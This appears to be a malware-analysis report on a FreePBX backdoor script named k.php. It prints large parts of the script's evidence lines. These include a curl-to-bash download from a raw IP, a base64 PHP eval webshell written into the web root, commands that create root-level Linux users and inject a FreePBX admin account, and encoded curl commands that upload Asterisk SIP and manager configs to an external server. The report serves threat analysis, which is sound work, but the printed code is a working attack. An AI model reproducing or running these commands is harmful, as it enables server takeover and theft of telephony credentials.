Hostile ^100% linux Download

k.php

FreePBX webshell and backdoor

Encoded curl uploads Asterisk authentication configs to a raw IPCreates UID/GID-zero login account

SHA-25608e48ed34f41b7a325c952711a66766f73bd02da722b257ea9e1cff9cc7fc861

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₇(CEuP₂As₂CaDyLa)H₅(Cm₉Db₂F₁₀Os₆Po₅)Md

Evidence

Encoded content decoded: base64 lines 1–3

1#!/bin/bash
2curl http://160.119.69.4/x -ks | bash
3echo -n 'PD9waHAgLyogdHJhY2VfMDk3OGFhZjFlNjk0MzhlMmMwYmY5YTYyNmM5Y2JmZjggKi8gaWYoZmFsc2UpeyAkamRTcldHWXZvWldsWFZHUFhIID0gJ2RlYWRjb2RlX2FudGlfYXYnOyB9ICRLeXRHcktKY0pPUUdZVXlxUiA9IGJhc2U2NF9kZWNvZGUoJ1puSm1ablppWVY5bVoyNWxaeWdwT3dwMmN5QW9kbVptY21jb0pGOUZVa1JJVWtaSFd5ZDZjVFVuWFNrZ0ppWWdlbkUxS0NSZlJWSkVTRkpHUjFzbmVuRTFKMTBwSUQwOUlDYzNNSE55TUc1d04zTXpNMjh5Y0RNMmJuTnlNVGd5T0Rod05tODVNVEF3Y3ljcElIc0tJQ0FnSUNSZlJsSkdSbFpDUVZzbmVXSmllSFluWFNBOUlDZDVZblIwY25Fbk93cDlDblp6SUNnaGRtWm1jbWNvSkY5R1VrWkdWa0pCV3lkNVltSjRkaWRkS1NrZ2V3b2dJQ0FnY25CMVlpQW5QSE5pWlhvZ2JuQm5kbUpoUFNJaUlIcHlaM1ZpY1QwaVkySm1aeUkrSnpzS0lDQWdJSEp3ZFdJZ0p6eDJZV05vWnlCbmJHTnlQU0puY210bklp …

FreePBX immutable webshell persistence lines 3–10

3:7890… T3c9PScpOyAkb250b2tGbWZsYmRUdE4gPSBzdHJfcm90MTMoJEt5dEdyS0pjSk9RR1lVeXFSKTsgZXZhbCgkb250b2tGbWZsYmRUdE4pOyA/Pg==' | base64 -d > /var/www/html/admin/views/ajax.php
4cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
5echo -n 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJ3VldGVHSllDSGVNVGsnIG5ld2ZwYnggJj4vZGV2L251bGw' | base64 -d |bash
6echo -n 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJ3VldGVHSllDSGVNVGsnIHhoaW1heCAmPi9kZXYvbnVsbA==' | base64 -d |bash
7mysql -u root --password='' asterisk -e "DELETE FROM ampusers WHERE username != 'admin';"
8mysql -u root --password='' asterisk -e "DELETE FROM ampusers WHERE username != 'admin'; INSERT INTO ampusers SET username='freepbxusers', sections='*', password_sha1='6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9';"
9echo -n 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJ3VldGVHSllDSGVNVGsnIG5ld2ZwYnggJj4vZGV2L251bGw' | base64 -d |bash
10echo -n 'dXNlcmFkZCAtcyAvYmlu …

Asterisk HA trigger marker line 31

31:16482… bHMgLWxzIC9ob21lCmVjaG8gJ3dnZXQgaHR0cDovLzQ1Ljk1LjE0Ny4xNzgvay5waHAgLU8gL3Zhci9saWIvYXN0ZXJpc2svYmluL2Rld …

Encoded URL pinned to external IPv4 lines 32–33

32:17329… e64 -d > /var/spool/asterisk/tmp/test.sh; bash /var/spool/asterisk/tmp/test.sh; rm -rf /var/spool/asterisk/tmp/test.sh
33echo -n 'Y3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9zaXBfYWRkaXRpb25hbC5jb25mIiBodHRwOi8vNDUuOTUuMTQ3LjE3OC9oaW1hX2RhdGEvaW5kZXgucGhwIC0tbWF4LXRpbWUgMTUKY3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9zaXBfcmVnaXN0cmF0aW9ucy5jb25mIiBodHRwOi8vNDUuOTUuMTQ3LjE3OC9oaW1hX2RhdGEvaW5kZXgucGhwIC0tbWF4LXRpbWUgMTUKY3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9tYW5hZ2VyLmNvbmYiIGh0dHA6Ly80NS45NS4xNDcuMTc4L2hpbWFfZGF0YS9pbmRleC5waHAgLS1tYXgtdGltZSAxNQpjdXJsIC1GICJmaWxlPUAvZXRjL2FzdGVyaXNrL3Bqc2lwLmlkZW50aWZ5LmNvbmYiIGh0dHA6Ly80NS45NS4xNDcuMTc4L2hpbWFfZGF0YS9pbmRleC5waHAgLS1tYXgtdGltZSAxNQpjdXJsIC1GICJmaWxlPUAvZXRjL2FzdGVyaXNrL3Bqc2lwLnRyYW5zcG9ydHMuY29uZiIgaHR0cDovLzQ1Ljk1 …